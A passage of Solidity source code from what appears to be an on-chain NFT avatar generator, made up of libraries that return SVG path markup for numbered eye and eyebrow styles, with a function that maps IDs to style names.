d="M160.2,204.8c0.7-0.4,1.6-0.8,2.5-0.7c0.4,0,0.9,0.3,1.2,0.7c0.3,0.4,0.3,0.9,0.2,1.4c-0.2,0.9-0.8,1.7-1.5,2.3c-0.7,0.6-1.6,1.1-2.6,1c-1,0-2-0.4-2.6-1.2c-0.7-0.8-0.8-1.8-1-2.6c-0.1-0.9-0.1-1.8,0.1-2.8c0.2-0.9,0.7-1.8,1.5-2.4c0.8-0.6,1.7-1,2.7-1c0.9-0.1,1.9,0.1,2.7,0.4c1.7,0.6,3.2,1.8,4.2,3.3c0.5,0.7,0.9,1.6,1,2.6c0.1,0.9-0.2,1.9-0.8,2.6c-1.1,1.5-2.8,2.4-4.5,2.5c1.7-0.3,3.3-1.3,4.1-2.7c0.4-0.7,0.6-1.5,0.5-2.3c-0.1-0.8-0.5-1.5-1-2.2c-1-1.3-2.4-2.4-3.9-2.9c-1.5-0.5-3.3-0.5-4.5,0.5c-1.2,1-1.5,2.7-1.3,4.3c0.1,0.8,0.2,1.6,0.7,2.2c0.4,0.6,1.2,0.9,1.9,1c0.8,0,1.5-0.2,2.2-0.8c0.6-0.5,1.2-1.2,1.4-1.9c0.1-0.4,0.1-0.8-0.1-1.1c-0.2-0.3-0.5-0.6-0.9-0.6C161.9,204.2,161,204.4,160.2,204.8z"/>' ) ) ); } /// @dev Eyes N°19 => Squint (no-fill) function item_19() public pure returns (string memory) { return base( string( abi.encodePacked( eyesNoFill(Colors.WHITE), '<path d="M167.3,203.7c0.1,7.7-12,7.7-11.9,0C155.3,196,167.4,196,167.3,203.7z"/>', '<path d="M244.8,205.6c-1.3,7.8-13.5,5.6-12-2.2C234.2,195.6,246.4,197.9,244.8,205.6z"/>' ) ) ); } /// @dev Eyes N°20 => Shock (no-fill) function item_20() public pure returns (string memory) { return base( string( abi.encodePacked( eyesNoFill(Colors.WHITE), '<path fill-rule="evenodd" clip-rule="evenodd" d="M163.9,204c0,2.7-4.2,2.7-4.1,0C159.7,201.3,163.9,201.3,163.9,204z"/>', '<path fill-rule="evenodd" clip-rule="evenodd" d="M236.7,204c0,2.7-4.2,2.7-4.1,0C232.5,201.3,236.7,201.3,236.7,204z"/>' ) ) ); } /// @dev Eyes N°21 => Cat (no-fill) function item_21() public pure returns (string memory) { return base( string( abi.encodePacked( eyesNoFill(Colors.WHITE), '<path d="M238.4,204.2c0.1,13.1-4.5,13.1-4.5,0C233.8,191.2,238.4,191.2,238.4,204.2z"/>', '<path d="M164.8,204.2c0.1,13-4.5,13-4.5,0C160.2,191.2,164.8,191.2,164.8,204.2z"/>' ) ) ); } /// @dev Eyes N°22 => Ether (no-fill) function item_22() public pure returns (string memory) { return base( string( abi.encodePacked( eyesNoFill(Colors.WHITE), '<path d="M161.7,206.4l-4.6-2.2l4.6,8l4.6-8L161.7,206.4z"/>', '<path d="M165.8,202.6l-4.1-7.1l-4.1,7.1l4.1-1.9L165.8,202.6z"/>', '<path d="M157.9,203.5l3.7,1.8l3.8-1.8l-3.8-1.8L157.9,203.5z"/>', '<path d="M236.1,206.6l-4.6-2.2l4.6,8l4.6-8L236.1,206.6z"/>', '<path d="M240.2,202.8l-4.1-7.1l-4.1,7.1l4.1-1.9L240.2,202.8z"/>', '<path d="M232.4,203.7l3.7,1.8l3.8-1.8l-3.8-1.8L232.4,203.7z"/>' ) ) ); } /// @dev Eyes N°23 => Feels function item_23() public pure returns (string memory) { return base( string( abi.encodePacked( '<path d="M251.1,201.4c0.7,0.6,1,2.2,1,2.7c-0.1-0.4-1.4-1.1-2.2-1.7c-0.2,0.1-0.4,0.4-0.6,0.5c0.5,0.7,0.7,2,0.7,2.5c-0.1-0.4-1.3-1.1-2.1-1.6c-2.7,1.7-6.4,3.2-11.5,3.7c-8.1,0.7-16.3-1.7-20.9-6.4c5.9,3.1,13.4,4.5,20.9,3.8c6.6-0.6,12.7-2.9,17-6.3C253.4,198.9,252.6,200.1,251.1,201.4z"/>', '<path d="M250,205.6L250,205.6C250.1,205.9,250.1,205.8,250,205.6z"/>', '<path d="M252.1,204.2L252.1,204.2C252.2,204.5,252.2,204.4,252.1,204.2z"/>', '<path d="M162.9,207.9c-4.1-0.4-8-1.4-11.2-2.9c-0.7,0.3-3.1,1.4-3.3,1.9c0.1-0.6,0.3-2.2,1.3-2.8c0.1-0.1,0.2-0.1,0.3-0.1c-0.2-0.1-0.5-0.3-0.7-0.4c-0.8,0.4-3,1.3-3.2,1.9c0.1-0.6,0.3-2.2,1.3-2.8c0.1-0.1,0.3-0.1,0.5-0.1c-0.9-0.7-1.7-1.6-2.4-2.4c1.5,1.1,6.9,4.2,17.4,5.3c11.9,1.2,18.3-4,19.8-4.7C177.7,205.3,171.4,208.8,162.9,207.9z"/>', '<path d="M148.5,207L148.5,207C148.5,207.1,148.5,207.2,148.5,207z"/>', '<path d="M146.2,205.6L146.2,205.6C146.2,205.7,146.2,205.7,146.2,205.6z"/>' ) ) ); } /// @dev Eyes N°24 => Happy function item_24() public pure returns (string memory) { return base( string( abi.encodePacked( '<path d="M251.5,203.5c0.7-0.7,0.9-2.5,0.9-3.2c-0.1,0.5-1.3,1.4-2.2,1.9c-0.2-0.2-0.4-0.4-0.6-0.6c0.5-0.8,0.7-2.4,0.7-3 c-0.1,0.5-1.2,1.4-2.1,1.9c-2.6-1.9-6.2-3.8-11-4.3c-7.8-0.8-15.7,2-20.1,7.5c5.7-3.6,12.9-5.3,20.1-4.5 c6.4,0.8,12.4,2.9,16.5,6.9C253.3,205.1,252.3,204,251.5,203.5z"/>', '<path d="M250.3,198.6L250.3,198.6C250.4,198.2,250.4,198.3,250.3,198.6z"/>', '<path d="M252.4,200.3L252.4,200.3C252.5,199.9,252.5,200,252.4,200.3z"/>', '<path d="M228.2,192.6c1.1-0.3,2.3-0.5,3.5-0.6c1.1-0.1,2.4-0.1,3.5,0s2.4,0.3,3.5,0.5s2.3,0.6,3.3,1.1l0,0 c-1.1-0.3-2.3-0.6-3.4-0.8c-1.1-0.3-2.3-0.4-3.4-0.5c-1.1-0.1-2.4-0.2-3.5-0.1C230.5,192.3,229.4,192.4,228.2,192.6L228.2,192.6z"/>', '<path d="M224.5,193.8c-0.9,0.6-2,1.1-3,1.7c-0.9,0.6-2,1.2-3,1.7c0.4-0.4,0.8-0.8,1.2-1.1s0.9-0.7,1.4-0.9c0.5-0.3,1-0.6,1.5-0.8C223.3,194.2,223.9,193.9,224.5,193.8z"/>', '<path d="M161.3,195.8c-3.7,0.4-7.2,1.6-10.1,3.5c-0.6-0.3-2.8-1.6-3-2.3c0.1,0.7,0.3,2.6,1.1,3.3c0.1,0.1,0.2,0.2,0.3,0.2 c-0.2,0.2-0.4,0.3-0.6,0.5c-0.7-0.4-2.7-1.5-2.9-2.2c0.1,0.7,0.3,2.6,1.1,3.3c0.1,0.1,0.3,0.2,0.4,0.2c-0.8,0.8-1.6,1.9-2.2,2.9 c1.3-1.4,6.3-5,15.8-6.3c10.9-1.4,16.7,4.7,18,5.5C174.8,198.9,169.1,194.8,161.3,195.8z"/>', '<path d="M148.2,196.9L148.2,196.9C148.2,196.8,148.2,196.7,148.2,196.9z"/>', '<path d="M146.1,198.6L146.1,198.6C146.1,198.5,146.1,198.4,146.1,198.6z"/>', '<path d="M167.5,192.2c-1.1-0.2-2.3-0.3-3.5-0.3c-1.1,0-2.4,0-3.5,0.2c-1.1,0.1-2.3,0.3-3.4,0.5c-1.1,0.3-2.3,0.5-3.4,0.8 c2.1-0.9,4.3-1.5,6.7-1.7c1.1-0.1,2.4-0.1,3.5-0.1C165.3,191.7,166.4,191.9,167.5,192.2z"/>', '<path d="M171.4,193.4c0.6,0.2,1.1,0.3,1.7,0.6c0.5,0.3,1,0.5,1.6,0.8c0.5,0.3,1,0.6,1.4,0.9c0.5,0.3,0.9,0.7,1.3,1 c-1-0.5-2.1-1.1-3-1.6C173.3,194.5,172.3,193.9,171.4,193.4z"/>' ) ) ); } /// @dev Eyes N°25 => Arrow function item_25() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="none" stroke="#000000" stroke-width="1.5" stroke-linejoin="round" stroke-miterlimit="10" d="M251.4,192.5l-30.8,8 c10.9,1.9,20.7,5,29.5,9.1"/>', '<path fill="none" stroke="#000000" stroke-width="1.5" stroke-linejoin="round" stroke-miterlimit="10" d="M149.4,192.5l30.8,8 c-10.9,1.9-20.7,5-29.5,9.1"/>' ) ) ); } /// @dev Eyes N°26 => Closed function item_26() public pure returns (string memory) { return base( string( abi.encodePacked( '<line fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-miterlimit="10" x1="216.3" y1="200.2" x2="259" y2="198.3"/>', '<line fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-miterlimit="10" x1="179.4" y1="200.2" x2="143.4" y2="198.3"/>' ) ) ); } /// @dev Eyes N°27 => Suspicious function item_27() public pure returns (string memory) { return base( string( abi.encodePacked( '<path opacity="0.81" fill="#FFFFFF" d="M220.3,202.5c-0.6,4.6,0.1,5.8,1.6,8.3 c0.9,1.5,1,2.5,8.2-1.2c6.1,0.4,8.2-1.6,16,2.5c3,0,4-3.8,5.1-7.7c0.6-2.2-0.2-4.6-2-5.9c-3.4-2.5-9-6-13.4-5.3 c-3.9,0.7-7.7,1.9-11.3,3.6C222.3,197.9,221,197.3,220.3,202.5z"/>', '<path d="M251.6,200c0.7-0.8,0.9-2.9,0.9-3.7c-0.1,0.6-1.3,1.5-2,2.2c-0.2-0.2-0.4-0.5-0.6-0.7c0.5-1,0.7-2.7,0.7-3.4 c-0.1,0.6-1.2,1.5-1.9,2.1c-2.4-2.2-5.8-4.4-10.4-4.9c-7.4-1-14.7,2.3-18.9,8.6c5.3-4.2,12.1-6,18.9-5.1c6,0.9,11.5,4,15.4,8.5 C253.6,203.4,252.9,201.9,251.6,200z"/>', '<path d="M250.5,194.4L250.5,194.4C250.6,194,250.6,194.1,250.5,194.4z"/>', '<path d="M252.4,196.3L252.4,196.3C252.5,195.9,252.5,196,252.4,196.3z"/>', '<path d="M229.6,187.6c1.1-0.3,2.1-0.6,3.3-0.7c1.1-0.1,2.2-0.1,3.3,0s2.2,0.3,3.3,0.6s2.1,0.7,3.1,1.3l0,0 c-1.1-0.3-2.1-0.7-3.2-0.9c-1.1-0.3-2.1-0.5-3.2-0.6c-1.1-0.1-2.2-0.2-3.3-0.1C231.9,187.2,230.8,187.3,229.6,187.6L229.6,187.6 z"/>', '<path d="M226.1,189c-0.9,0.7-1.8,1.3-2.8,1.9c-0.9,0.7-1.8,1.4-2.8,1.9c0.4-0.5,0.8-0.9,1.2-1.3c0.4-0.4,0.9-0.8,1.4-1.1 s1-0.7,1.5-0.9C225.1,189.4,225.7,189.1,226.1,189z"/>', '<path fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M222,212.8c0,0,9.8-7.3,26.9,0"/>', '<path fill-rule="evenodd" clip-rule="evenodd" stroke="#000000" stroke-miterlimit="10" d="M229,195.2c0,0-4.6,8.5,0.7,14.4 c0,0,8.8-1.5,11.6,0.4c0,0,4.7-5.7,1.5-12.5S229,195.2,229,195.2z"/>', '<path opacity="0.81" fill="#FFFFFF" d="M177.1,202.5c0.6,4.6-0.1,5.8-1.6,8.3 c-0.9,1.5-1,2.5-8.2-1.2c-6.1,0.4-8.2-1.6-16,2.5c-3,0-4-3.8-5.1-7.7c-0.6-2.2,0.2-4.6,2-5.9c3.4-2.5,9-6,13.4-5.3 c3.9,0.7,7.7,1.9,11.3,3.6C175.2,197.9,176.4,197.3,177.1,202.5z"/>', '<path d="M145.9,200c-0.7-0.8-0.9-2.9-0.9-3.7c0.1,0.6,1.3,1.5,2,2.2c0.2-0.2,0.4-0.5,0.6-0.7c-0.5-1-0.7-2.7-0.7-3.4 c0.1,0.6,1.2,1.5,1.9,2.1c2.4-2.2,5.8-4.4,10.4-4.9c7.4-1,14.7,2.3,18.9,8.6c-5.3-4.2-12.1-6-18.9-5.1c-6,0.9-11.5,4-15.4,8.5 C143.8,203.4,144.5,201.9,145.9,200z"/>', '<path d="M146.9,194.4L146.9,194.4C146.9,194,146.9,194.1,146.9,194.4z"/>', abi.encodePacked( '<path d="M145,196.3L145,196.3C144.9,195.9,144.9,196,145,196.3z"/>', '<path d="M167.8,187.6c-1.1-0.3-2.1-0.6-3.3-0.7c-1.1-0.1-2.2-0.1-3.3,0s-2.2,0.3-3.3,0.6s-2.1,0.7-3.1,1.3l0,0 c1.1-0.3,2.1-0.7,3.2-0.9c1.1-0.3,2.1-0.5,3.2-0.6c1.1-0.1,2.2-0.2,3.3-0.1C165.6,187.2,166.6,187.3,167.8,187.6L167.8,187.6z"/>', '<path d="M171.3,189c0.9,0.7,1.8,1.3,2.8,1.9c0.9,0.7,1.8,1.4,2.8,1.9c-0.4-0.5-0.8-0.9-1.2-1.3c-0.4-0.4-0.9-0.8-1.4-1.1 s-1-0.7-1.5-0.9C172.4,189.4,171.8,189.1,171.3,189z"/>', '<path fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M175.4,212.8c0,0-9.8-7.3-26.9,0"/>', '<path fill-rule="evenodd" clip-rule="evenodd" stroke="#000000" stroke-miterlimit="10" d="M168.5,195.2c0,0,4.6,8.5-0.7,14.4 c0,0-8.8-1.5-11.6,0.4c0,0-4.7-5.7-1.5-12.5S168.5,195.2,168.5,195.2z"/>' ) ) ) ); } /// @dev Eyes N°28 => Annoyed 1 function item_28() public pure returns (string memory) { return base( string( abi.encodePacked( '<line fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" x1="218" y1="195.2" x2="256" y2="195.2"/>', '<path stroke="#000000" stroke-miterlimit="10" d="M234,195.5c0,5.1,4.1,9.2,9.2,9.2s9.2-4.1,9.2-9.2"/>', '<line fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" x1="143.2" y1="195.7" x2="181.1" y2="195.7"/>', '<path stroke="#000000" stroke-miterlimit="10" d="M158.7,196c0,5.1,4.1,9.2,9.2,9.2c5.1,0,9.2-4.1,9.2-9.2"/>' ) ) ); } /// @dev Eyes N°29 => Annoyed 2 function item_29() public pure returns (string memory) { return base( string( abi.encodePacked( '<line fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" x1="218" y1="195.2" x2="256" y2="195.2"/>', '<path stroke="#000000" stroke-miterlimit="10" d="M228,195.5c0,5.1,4.1,9.2,9.2,9.2s9.2-4.1,9.2-9.2"/>', '<line fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" x1="143.2" y1="195.7" x2="181.1" y2="195.7"/>', '<path stroke="#000000" stroke-miterlimit="10" d="M152.7,196c0,5.1,4.1,9.2,9.2,9.2c5.1,0,9.2-4.1,9.2-9.2"/>' ) ) ); } /// @dev Eyes N°30 => RIP function item_30() public pure returns (string memory) { return base( string( abi.encodePacked( '<line fill="none" stroke="#000000" stroke-width="3" stroke-linecap="square" stroke-miterlimit="10" x1="225.7" y1="190.8" x2="242.7" y2="207.8"/>', '<line fill="none" stroke="#000000" stroke-width="3" stroke-linecap="square" stroke-miterlimit="10" x1="225.7" y1="207.8" x2="243.1" y2="190.8"/>', '<line fill="none" stroke="#000000" stroke-width="3" stroke-linecap="square" stroke-miterlimit="10" x1="152.8" y1="190.8" x2="169.8" y2="207.8"/>', '<line fill="none" stroke="#000000" stroke-width="3" stroke-linecap="square" stroke-miterlimit="10" x1="152.8" y1="207.8" x2="170.3" y2="190.8"/>' ) ) ); } /// @dev Eyes N°31 => Heart function item_31() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#F44336" stroke="#C90005" stroke-miterlimit="10" d="M161.1,218.1c0.2,0.2,0.4,0.3,0.7,0.3s0.5-0.1,0.7-0.3l12.8-14.1 c5.3-5.9,1.5-16-6-16c-4.6,0-6.7,3.6-7.5,4.3c-0.8-0.7-2.9-4.3-7.5-4.3c-7.6,0-11.4,10.1-6,16L161.1,218.1z"/>', '<path fill="#F44336" stroke="#C90005" stroke-miterlimit="10" d="M235.3,218.1c0.2,0.2,0.5,0.3,0.8,0.3s0.6-0.1,0.8-0.3l13.9-14.1 c5.8-5.9,1.7-16-6.6-16c-4.9,0-7.2,3.6-8.1,4.3c-0.9-0.7-3.1-4.3-8.1-4.3c-8.2,0-12.4,10.1-6.6,16L235.3,218.1z"/>' ) ) ); } /// @dev Eyes N°32 => Scribble function item_32() public pure returns (string memory) { return base( string( abi.encodePacked( '<polyline fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" points="222.5,195.2 252.2,195.2 222.5,199.4 250.5,199.4 223.9,202.8 247.4,202.8"/>', '<polyline fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" points="148.2,195.2 177.9,195.2 148.2,199.4 176.2,199.4 149.6,202.8 173.1,202.8"/>' ) ) ); } /// @dev Eyes N°33 => Wide function item_33() public pure returns (string memory) { return base( string( abi.encodePacked( '<ellipse fill-rule="evenodd" clip-rule="evenodd" fill="#FFFFFF" cx="236.7" cy="200.1" rx="12.6" ry="14.9"/>', '<path d="M249.4,200.1c0,3.6-1,7.3-3.2,10.3c-1.1,1.5-2.5,2.8-4.1,3.7s-3.5,1.4-5.4,1.4s-3.7-0.6-5.3-1.5s-3-2.2-4.1-3.6c-2.2-2.9-3.4-6.5-3.5-10.2c-0.1-3.6,1-7.4,3.3-10.4c1.1-1.5,2.6-2.7,4.2-3.6c1.6-0.9,3.5-1.4,5.4-1.4s3.8,0.5,5.4,1.4c1.6,0.9,3,2.2,4.1,3.7C248.4,192.9,249.4,196.5,249.4,200.1z M249.3,200.1c0-1.8-0.3-3.6-0.9-5.3c-0.6-1.7-1.5-3.2-2.6-4.6c-2.2-2.7-5.5-4.5-9-4.5s-6.7,1.8-8.9,4.6c-2.2,2.7-3.3,6.2-3.4,9.8c-0.1,3.5,1,7.2,3.2,10s5.6,4.6,9.1,4.5c3.5,0,6.8-1.9,9-4.6C248,207.3,249.3,203.7,249.3,200.1z"/>', '<ellipse fill-rule="evenodd" clip-rule="evenodd" fill="#FFFFFF" cx="163" cy="200.1" rx="12.6" ry="14.9"/>', '<path d="M175.6,200.1c0,3.6-1,7.3-3.2,10.3c-1.1,1.5-2.5,2.8-4.1,3.7s-3.5,1.4-5.4,1.4s-3.7-0.6-5.3-1.5s-3-2.2-4.1-3.6c-2.2-2.9-3.4-6.5-3.5-10.2c-0.1-3.6,1-7.4,3.3-10.4c1.1-1.5,2.6-2.7,4.2-3.6c1.6-0.9,3.5-1.4,5.4-1.4s3.8,0.5,5.4,1.4c1.6,0.9,3,2.2,4.1,3.7C174.6,192.9,175.6,196.5,175.6,200.1z M175.5,200.1c0-1.8-0.3-3.6-0.9-5.3c-0.6-1.7-1.5-3.2-2.6-4.6c-2.2-2.7-5.5-4.5-9-4.5s-6.7,1.8-8.9,4.6c-2.2,2.7-3.3,6.2-3.4,9.8c-0.1,3.5,1,7.2,3.2,10s5.6,4.6,9.1,4.5c3.5,0,6.8-1.9,9-4.6C174.3,207.3,175.5,203.7,175.5,200.1z"/>' ) ) ); } /// @dev Eyes N°34 => Dubu function item_34() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M241.6,195.9c-8.7-7.2-25.1-4-4.7,6.6c-21.9-4.3-3.4,11.8,4.7,6.1"/>', '<path fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M167.6,195.9c-8.7-7.2-25.1-4-4.7,6.6c-21.9-4.3-3.4,11.8,4.7,6.1"/>' ) ) ); } /// @dev Right and left eyes (color pupils + eyes) function eyesNoFillAndColorPupils(string memory scleraColor, string memory pupilsColor) private pure returns (string memory) { return base(string(abi.encodePacked(eyesNoFill(scleraColor), colorPupils(pupilsColor)))); } /// @dev Right and left eyes (blank pupils + eyes) function eyesNoFillAndBlankPupils(string memory scleraColor, string memory pupilsColor) private pure returns (string memory) { return base(string(abi.encodePacked(eyesNoFill(scleraColor), blankPupils(pupilsColor)))); } /// @dev Right and left eyes function eyesNoFill(string memory scleraColor) private pure returns (string memory) { return string(abi.encodePacked(eyeLeftNoFill(scleraColor), eyeRightNoFill(scleraColor))); } /// @dev Eye right and no fill function eyeRightNoFill(string memory scleraColor) private pure returns (string memory) { return string( abi.encodePacked( "<path fill='#", scleraColor, "' d='M220.9,203.6c0.5,3.1,1.7,9.6,7.1,10.1 c7,1.1,21,4.3,23.2-9.3c1.3-7.1-9.8-11.4-15.4-11.2C230.7,194.7,220.5,194.7,220.9,203.6z'/>", '<path d="M250.4,198.6c-0.2-0.2-0.4-0.5-0.6-0.7"/>', '<path d="M248.6,196.6c-7.6-7.9-23.4-6.2-29.3,3.7c10-8.2,26.2-6.7,34.4,3.4c0-0.3-0.7-1.8-2-3.7"/>', '<path d="M229.6,187.6c4.2-1.3,9.1-1,13,1.2C238.4,187.4,234,186.6,229.6,187.6L229.6,187.6z"/>', '<path d="M226.1,189c-1.8,1.3-3.7,2.7-5.6,3.9C221.9,191.1,224,189.6,226.1,189z"/>', '<path d="M224.5,212.4c5.2,2.5,19.7,3.5,24-0.9C244.2,216.8,229.6,215.8,224.5,212.4z"/>' ) ); } /// @dev Eye right and no fill function eyeLeftNoFill(string memory scleraColor) private pure returns (string memory) { return string( abi.encodePacked( "<path fill='#", scleraColor, "' d='M175.7,199.4c2.4,7.1-0.6,13.3-4.1,13.9 c-5,0.8-15.8,1-18.8,0c-5-1.7-6.1-12.4-6.1-12.4C156.6,191.4,165,189.5,175.7,199.4z'/>", '<path d="M147.5,198.7c-0.8,1-1.5,2.1-2,3.3c7.5-8.5,24.7-10.3,31.7-0.9c-5.8-10.3-17.5-13-26.4-5.8"/>', '<path d="M149.4,196.6c-0.2,0.2-0.4,0.4-0.6,0.6"/>', '<path d="M166.2,187.1c-4.3-0.8-8.8,0.1-13,1.4C157,186.4,162,185.8,166.2,187.1z"/>', '<path d="M169.8,188.5c2.2,0.8,4.1,2.2,5.6,3.8C173.5,191.1,171.6,189.7,169.8,188.5z"/>', '<path d="M174.4,211.8c-0.2,0.5-0.8,0.8-1.2,1c-0.5,0.2-1,0.4-1.5,0.6c-1,0.3-2.1,0.5-3.1,0.7c-2.1,0.4-4.2,0.5-6.3,0.7 c-2.1,0.1-4.3,0.1-6.4-0.3c-1.1-0.2-2.1-0.5-3.1-0.9c-0.9-0.5-2-1.1-2.4-2.1c0.6,0.9,1.6,1.4,2.5,1.7c1,0.3,2,0.6,3,0.7 c2.1,0.3,4.2,0.3,6.2,0.2c2.1-0.1,4.2-0.2,6.3-0.5c1-0.1,2.1-0.3,3.1-0.5c0.5-0.1,1-0.2,1.5-0.4c0.2-0.1,0.5-0.2,0.7-0.3 C174.1,212.2,174.3,212.1,174.4,211.8z"/>' ) ); } /// @dev Generate color pupils function colorPupils(string memory pupilsColor) private pure returns (string memory) { return string( abi.encodePacked( "<path fill='#", pupilsColor, "' d='M235,194.9c10.6-0.2,10.6,19,0,18.8C224.4,213.9,224.4,194.7,235,194.9z'/>", '<path d="M235,199.5c3.9-0.1,3.9,9.6,0,9.5C231.1,209.1,231.1,199.4,235,199.5z"/>', '<path fill="#FFFFFF" d="M239.1,200.9c3.4,0,3.4,2.5,0,2.5C235.7,203.4,235.7,200.8,239.1,200.9z"/>', "<path fill='#", pupilsColor, "' d='M161.9,194.6c10.5-0.4,11,18.9,0.4,18.9C151.7,213.9,151.3,194.6,161.9,194.6z'/>", '<path d="M162,199.2c3.9-0.2,4.1,9.5,0.2,9.5C158.2,208.9,158.1,199.2,162,199.2z"/>', '<path fill="#FFFFFF" d="M157.9,200.7c3.4-0.1,3.4,2.5,0,2.5C154.6,203.3,154.5,200.7,157.9,200.7z"/>' ) ); } /// @dev Generate blank pupils function blankPupils(string memory pupilsColor) private pure returns (string memory) { return string( abi.encodePacked( abi.encodePacked( "<path fill='#", pupilsColor, "' stroke='#000000' stroke-width='0.25' stroke-miterlimit='10' d='M169.2,204.2c0.1,11.3-14.1,11.3-13.9,0C155.1,192.9,169.3,192.9,169.2,204.2z'/>", "<path fill='#", pupilsColor, "' stroke='#000000' stroke-width='0.25' stroke-miterlimit='10' d='M243.1,204.3c0.1,11.3-14.1,11.3-13.9,0C229,193,243.2,193,243.1,204.3z'/>" ) ) ); } /// @notice Return the eyes name of the given id /// @param id The eyes Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Color White/Brown"; } else if (id == 2) { name = "Color White/Gray"; } else if (id == 3) { name = "Color White/Blue"; } else if (id == 4) { name = "Color White/Green"; } else if (id == 5) { name = "Color White/Black"; } else if (id == 6) { name = "Color White/Yellow"; } else if (id == 7) { name = "Color White/Red"; } else if (id == 8) { name = "Color White/Purple"; } else if (id == 9) { name = "Color White/Pink"; } else if (id == 10) { name = "Color White/White"; } else if (id == 11) { name = "Color Black/Blue"; } else if (id == 12) { name = "Color Black/Yellow"; } else if (id == 13) { name = "Color Black/White"; } else if (id == 14) { name = "Color Black/Red"; } else if (id == 15) { name = "Blank White/White"; } else if (id == 16) { name = "Blank Black/White"; } else if (id == 17) { name = "Shine"; } else if (id == 18) { name = "Stunt"; } else if (id == 19) { name = "Squint"; } else if (id == 20) { name = "Shock"; } else if (id == 21) { name = "Cat"; } else if (id == 22) { name = "Ether"; } else if (id == 23) { name = "Feels"; } else if (id == 24) { name = "Happy"; } else if (id == 25) { name = "Arrow"; } else if (id == 26) { name = "Closed"; } else if (id == 27) { name = "Suspicious"; } else if (id == 28) { name = "Annoyed 1"; } else if (id == 29) { name = "Annoyed 2"; } else if (id == 30) { name = "RIP"; } else if (id == 31) { name = "Heart"; } else if (id == 32) { name = "Scribble"; } else if (id == 33) { name = "Wide"; } else if (id == 34) { name = "Dubu"; } } /// @dev The base SVG for the eyes function base(string memory children) private pure returns (string memory) { return string(abi.encodePacked('<g id="Eyes">', children, "</g>")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; /// @title Eyebrow SVG generator library EyebrowDetail { /// @dev Eyebrow N°1 => Classic function item_1() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#150000" d="M213.9,183.1c13.9-5.6,28.6-3,42.7-0.2C244,175,225.8,172.6,213.9,183.1z"/>', '<path fill="#150000" d="M179.8,183.1c-10.7-10.5-27-8.5-38.3-0.5C154.1,179.7,167.6,177.5,179.8,183.1z"/>' ) ) ); } /// @dev Eyebrow N°2 => Thick function item_2() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill-rule="evenodd" clip-rule="evenodd" stroke="#000000" stroke-miterlimit="10" d="M211.3,177.6c0,0,28.6-6.6,36.2-6.2c7.7,0.4,13,3,16.7,6.4c0,0-26.9,5.3-38.9,5.9C213.3,184.3,212.9,183.8,211.3,177.6z"/>', '<path fill-rule="evenodd" clip-rule="evenodd" stroke="#000000" stroke-miterlimit="10" d="M188.2,177.6c0,0-27.9-6.7-35.4-6.3c-7.5,0.4-12.7,2.9-16.2,6.3c0,0,26.3,5.3,38,6C186.2,184.3,186.7,183.7,188.2,177.6z"/>' ) ) ); } /// @dev Eyebrow N°3 => Punk function item_3() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill-rule="evenodd" clip-rule="evenodd" stroke="#000000" stroke-miterlimit="10" d="M258.6,179.1l-2-2.3 c3.1,0.4,5.6,1,7.6,1.7C264.2,178.6,262,178.8,258.6,179.1z M249.7,176.3c-0.7,0-1.5,0-2.3,0c-7.6,0-36.1,3.2-36.1,3.2 c-0.4,2.9-3.8,3.5,8.1,3c6.6-0.3,23.6-2,32.3-2.8L249.7,176.3z"/>', '<path fill-rule="evenodd" clip-rule="evenodd" stroke="#000000" stroke-miterlimit="10" d="M140.2,179.1l1.9-2.3 c-3,0.4-5.4,1-7.3,1.7C134.8,178.6,136.9,178.8,140.2,179.1z M148.8,176.3c0.7,0,1.4,0,2.2,0c7.3,0,34.7,3.2,34.7,3.2 c0.4,2.9,3.6,3.5-7.8,3c-6.3-0.3-22.7-2-31-2.8L148.8,176.3z"/>' ) ) ); } /// @dev Eyebrow N°4 => Small function item_4() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill-rule="evenodd" clip-rule="evenodd" d="M236.3,177c-11.3-5.1-18-3.1-20.3-2.1c-0.1,0-0.2,0.1-0.3,0.2c-0.3,0.1-0.5,0.3-0.6,0.3l0,0l0,0l0,0c-1,0.7-1.7,1.7-1.9,3c-0.5,2.6,1.2,5,3.8,5.5s5-1.2,5.5-3.8c0.1-0.3,0.1-0.6,0.1-1C227.4,175.6,236.3,177,236.3,177z"/>', '<path fill-rule="evenodd" clip-rule="evenodd" d="M160.2,176.3c10.8-4.6,17.1-2.5,19.2-1.3c0.1,0,0.2,0.1,0.3,0.2c0.3,0.1,0.4,0.3,0.5,0.3l0,0l0,0l0,0c0.9,0.7,1.6,1.8,1.8,3.1c0.4,2.6-1.2,5-3.7,5.4s-4.7-1.4-5.1-4c-0.1-0.3-0.1-0.6-0.1-1C168.6,175.2,160.2,176.3,160.2,176.3z"/>' ) ) ); } /// @dev Eyebrow N°5 => Shaved function item_5() public pure returns (string memory) { return base( string( abi.encodePacked( '<g opacity="0.06">', '<path fill-rule="evenodd" clip-rule="evenodd" stroke="#000000" stroke-miterlimit="10" d="M214.5,178 c0,0,20.6-3.5,26.1-3.3s9.4,1.6,12,3.4c0,0-19.4,2.8-28,3.1C215.9,181.6,215.6,181.3,214.5,178z"/>', '<path fill-rule="evenodd" clip-rule="evenodd" stroke="#000000" stroke-miterlimit="10" d="M180.8,178 